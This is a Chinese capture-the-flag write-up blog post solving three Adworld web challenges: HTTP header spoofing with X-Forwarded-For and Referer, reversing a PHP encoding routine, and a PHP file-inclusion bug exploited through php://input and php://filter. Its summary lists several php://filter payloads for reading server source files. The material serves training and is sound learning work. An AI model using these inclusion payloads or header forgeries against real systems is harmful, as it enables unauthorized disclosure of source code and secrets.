[web][攻防世界]

[web][攻防世界]xff_referer

题目

https://adworld.xctf.org.cn/challenges/details?hash=cd168887-2438-4370-aeae-cce3329edc82_2&task_category_id=3
在这里插入图片描述

过程

1.浏览器使用代理
在这里插入图片描述
2.打开burp suit,拦截页面
在这里插入图片描述
3.发送到repeater
在这里插入图片描述
4.添加X-Forwarded-For再发送
在这里插入图片描述

在这里插入图片描述

5.添加referer再发送
在这里插入图片描述
6.在回显页面得到flag
在这里插入图片描述

总结

http请求头伪造

伪造IP来源

X-Forwarded-For:

伪造url来源

referer: 

伪造浏览器

User-Agent: 

在这里插入图片描述

题目

https://adworld.xctf.org.cn/challenges/details?hash=ebfb48d9-b6db-4f66-a0d3-0784df71111_2&task_category_id=3
在这里插入图片描述

过程

1.读代码,逆向encode函数,解密 $miwen

 <?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);//反转字符串str
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);//提取字符串_o里的_0,长度为1
        $__=ord($_c)+1;//返回字符串_c的ascii值,加1
        $_c=chr($__);//从ascii值__返回字符
        $_=$_.$_c;//字符串_c连接到字符串_上   
    } 
    return str_rot13(strrev(base64_encode($_)));//对_base64编码,然后反转,然后对字符串执行 ROT13 编码。ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>

2.写decode函数

function decode($str){
	$_o=base64_decode(strrev(str_rot13($str)));
	//echo $_o;
	for($_0=0;$_0<strlen($_o);$_0++){
   
		$_c=substr($_o,$_0,1);
		$__=ord($_c)-1;
		$_c=chr($__);
		$_=$_.$_c; 	
	}
	echo strrev($_); 
}

3.运行php代码

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function decode($str){
	$_o=base64_decode(strrev(str_rot13($str)));
	//echo $_o;
	for($_0=0;$_0<strlen($_o);$_0++){
   
		$_c=substr($_o,$_0,1);
		$__=ord($_c)-1;
		$_c=chr($__);
		$_=$_.$_c; 	
	}
	echo strrev($_); 
}
decode($miwen);
?>

在这里插入图片描述

题目

https://adworld.xctf.org.cn/challenges/details?hash=21301f1c-17ae-11ed-abf3-fa163e4fa609&task_category_id=3
在这里插入图片描述

过程

1.源代码

WRONG WAY! <?php //WRONG WAY说明不应使用GET,应使用POST
include("flag.php");//包含文件flag.php
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))//两个参数file1和file2
{
    $file1 = $_GET["file1"];
    $file2 = $_GET["file2"];
    if(!empty($file1) && !empty($file2))
    {
        if(file_get_contents($file2) === "hello ctf")//file2内容为hello ctf
        {
            include($file1); //file1有文件包含
        }
    }
    else
        die("NONONO");
} 

2.使用POST方式,php://input 伪协议,写入file2内容
在这里插入图片描述
3.使用php://filter 伪协议得到flag.php源代码

?file1=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

4.发送包,回显base64
在这里插入图片描述

5.解码base64
在这里插入图片描述

总结

php://filter
利用php的filter机制来得到php源代码。这里假设,构造回显网站根目录下的源代码文件flag.php的payload,获取到对应代码的base64编码

?file=php://filter/convert.base64-encode/resource=flag.php
?file=php://filter/read=convert.base64/resource=flag.php
?file=php://filter?read=convert.base64-encode/resource=flag.php
?file=php://filter/convert.iconv.UTF-7.UCS-4*/resource=flag.php

php://input
使用php://input post 指定内容,常见特征file_put_contents(字符串写入文件函数)

?file=php://input
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值